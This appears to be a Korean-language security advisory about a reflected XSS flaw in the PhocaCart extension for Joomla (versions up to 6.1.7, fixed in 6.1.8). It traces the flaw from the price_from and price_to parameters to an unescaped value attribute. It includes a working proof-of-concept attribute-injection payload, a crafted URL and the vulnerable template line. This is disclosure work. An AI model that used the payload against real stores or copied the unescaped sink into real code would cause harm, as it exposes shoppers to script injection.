
PhocaCart의 price_from & price_to 필터 매개변수를 통한 Reflected XSS
PhocaCart ≤ 6.1.7 — 인증되지 않은 공격자가 조작된 가격 필터 URL을 통해 임의의 JavaScript 주입
Joomla용 PhocaCart 6.1.7은 mod_phocacart_filter 모듈이 설치되어 게시된 경우 price_from 및 price_to GET 매개변수를 통해 반사형 사이트 간 스크립팅(XSS)에 취약합니다. 해당 매개변수는 strip_tags()만 적용하고 htmlspecialchars()는 적용하지 않는 Joomla의 'string' 입력 필터로 처리됩니다. 원시 값은 mod_phocacart_filter 모듈이 렌더링하는 가격 필터 양식의 HTML value="" 속성에 직접 출력됩니다.
공격자는 조작된 URL을 피해자에게 전달합니다. 피해자가 페이지를 로드하면 주입된 이벤트 핸들러가 브라우저에서 실행됩니다. 인증은 필요하지 않습니다. 이 공격은 별도로 배포되는 모듈인 mod_phocacart_filter가 설치되어 게시되어 있어야 합니다.
| 구성 요소 | 취약 버전 | 테스트 환경 | 수정 버전 |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
유형: 반사형 XSS (CWE-79)
필요한 인증: 없음 — 공개 상점 프런트엔드
CSRF 토큰 필요: 아니요 (GET 요청)
싱크 파일: site/layouts/form_filter_horizontal_text.php:65,71
Joomla의 'string' 입력 필터는 strip_tags()를 호출하며, HTML 태그는 제거하지만 ", ', > 같은 HTML 특수 문자는 인코딩되지 않은 채 남깁니다. price_from 및 price_to GET 매개변수는 이 필터로 검색되어 $data['getparams']에 저장됩니다. 템플릿 파일은 htmlspecialchars()를 호출하지 않고 이 값을 value="" 속성에 직접 출력하여 속성 컨텍스트 주입을 허용합니다.
데이터 흐름 — 소스에서 싱크까지:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ Joomla 'string' filter = strip_tags() only
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [unchanged!]
filter.php:494 $inA[] = $v // no encoding
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → NO htmlspecialchars()
→ Renders: value="" onmouseover="alert(document.domain)"
→ XSS fires on mouseover
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — 취약한 싱크
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- NO htmlspecialchars() -->
id="phPriceFrom..." />
동일한 싱크 패턴이 form_filter_text.php:81,87(세로 레이아웃 변형)에도 존재합니다. price_from 및 price_to 매개변수는 모두 동일하게 취약합니다.
공격자는 price_from 매개변수에 이벤트 핸들러 페이로드를 주입하여 상점 상품 보기를 대상으로 하는 URL을 구성합니다. 페이로드는 value="" 속성 컨텍스트를 빠져나갑니다.
Payload (raw): " autofocus onfocus="alert(document.domain)
URL-encoded: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Crafted URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
피해자가 조작된 URL을 열면 상점 상품 페이지가 가격 필터 양식을 렌더링합니다. 주입된 속성은 <input> 요소에 존재합니다. autofocus onfocus 페이로드를 사용하면 추가 사용자 상호작용 없이 페이지 로드 시 JavaScript가 즉시 실행됩니다.
렌더링된 HTML (취약):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

피해자 브라우저에서 XSS 실행 — alert(document.domain)이 상점 프런트엔드에서의 실행 컨텍스트를 확인함